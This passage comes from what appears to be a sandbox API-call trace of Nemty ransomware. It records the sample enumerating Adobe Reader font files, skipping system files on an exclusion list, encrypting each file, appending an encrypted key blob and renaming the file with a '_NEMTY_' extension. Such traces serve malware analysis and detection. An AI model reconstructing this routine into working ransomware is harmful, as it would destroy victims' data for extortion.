lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x19000, lpOverlapped=0x0) returned 1 [0214.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.368] SetFilePointer (in: hFile=0x254, lDistanceToMove=231312, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x38790 [0214.368] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.368] CloseHandle (hObject=0x254) returned 1 [0214.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.368] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.369] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Regular.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-regular.otf._nemty_kgobjgd_")) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.370] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x175c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-Bold.otf", cAlternateFileName="MYRIAD~3.OTF")) returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2=".") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="..") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="...") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="windows") returned -1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="rsa") returned -1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="NTDETECT.COM") returned -1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="ntldr") returned -1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="MSDOS.SYS") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="IO.SYS") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="boot.ini") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="boot.ini") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="ntuser.dat") returned -1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="desktop.ini") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="CONFIG.SYS") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="RECYCLER") returned -1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="bootmgr") returned 1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="programdata") returned -1 [0214.370] lstrcmpiW (lpString1="MyriadPro-Bold.otf", lpString2="appdata") returned 1 [0214.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0214.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.371] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-Bold.otf", cchWideChar=18, lpMultiByteStr=0x4f9ed08, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-Bold.otf", lpUsedDefaultChar=0x0) returned 18 [0214.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.371] Sleep (dwMilliseconds=0x5) [0214.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3369f290, dwHighDateTime=0x1d561e8)) [0214.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3369f290, dwHighDateTime=0x1d561e8)) [0214.373] GetLastError () returned 0x0 [0214.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.373] GetLastError () returned 0x0 [0214.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.373] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.373] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0214.373] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0214.373] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0214.373] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0214.373] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="zVmd97UK9fqDcDnu7Tlbxikf1upon4ShYaQ5jUfd25MH1xkoQRuUJXDWwTvaeZlo\r\n+1wydbDDU/x2x/2e/m2a86sua/QM7lQbLBm8qv3ofzfMAS2Z2mpaP/dc9wZ0quVb\r\ns/BnUje4jXjL8LEvpSwPfMkx8vKcOuivFxhhbJlH6kuhis5zo715C1mZsqESi9Ip\r\nVSfha4fZ3O2QD3Dn6sCci3yNQXQTOG74x9J5PWn3M7xhhLqQmlr7Ni/DR5MfWja7\r\nDm9ubKaPPRwY3/Jp8lGHfPiMdsg3YeKPJO7t7UkkJD1GAnpUA+4bvb9phJPo5Q2c\r\npGIoO7EBFj2qOc5SNQIEpA==\r\n", pcchString=0x653e91c) returned 1 [0214.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0214.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.374] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0214.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0214.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0214.374] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-bold.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0214.374] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=95684) returned 1 [0214.374] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x175c0) returned 0x6352c48 [0214.374] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.374] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x175c0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x175c0, lpOverlapped=0x0) returned 1 [0214.382] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0214.382] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x175c0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x175c0, lpOverlapped=0x0) returned 1 [0214.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0214.382] SetFilePointer (in: hFile=0x254, lDistanceToMove=95684, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x175c4 [0214.382] WriteFile (in: hFile=0x254, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0214.382] CloseHandle (hObject=0x254) returned 1 [0214.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941d8 [0214.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0214.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0214.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0214.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0214.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94280 [0214.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94328 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94280 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0214.383] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-Bold.otf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-bold.otf._nemty_kgobjgd_")) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941d8 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0214.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.383] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f5a2e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1879c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MyriadPro-BoldIt.otf", cAlternateFileName="MYRIAD~2.OTF")) returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2=".") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="..") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="...") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="windows") returned -1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="$RECYCLE.BIN") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="rsa") returned -1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="NTDETECT.COM") returned -1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="ntldr") returned -1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="MSDOS.SYS") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="IO.SYS") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="boot.ini") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="boot.ini") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="AUTOEXEC.BAT") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="ntuser.dat") returned -1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="desktop.ini") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="CONFIG.SYS") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="RECYCLER") returned -1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="BOOTSECT.BAK") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="bootmgr") returned 1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="programdata") returned -1 [0214.384] lstrcmpiW (lpString1="MyriadPro-BoldIt.otf", lpString2="appdata") returned 1 [0214.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0214.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0214.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0214.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0214.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0214.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0214.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0214.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0214.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0214.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0214.385] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MyriadPro-BoldIt.otf", cchWideChar=20, lpMultiByteStr=0x4f9ed08, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyriadPro-BoldIt.otf", lpUsedDefaultChar=0x0) returned 20 [0214.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0214.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94088 [0214.385] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94130 | out: hHeap=0x4f90000) returned 1 [0214.385] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94130 [0214.385] Sleep (dwMilliseconds=0x5) [0214.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x336c53f0, dwHighDateTime=0x1d561e8)) [0214.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x336c53f0, dwHighDateTime=0x1d561e8)) [0214.389] GetLastError () returned 0x0 [0214.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0214.389] GetLastError () returned 0x0 [0214.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0214.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0214.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0214.389] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: 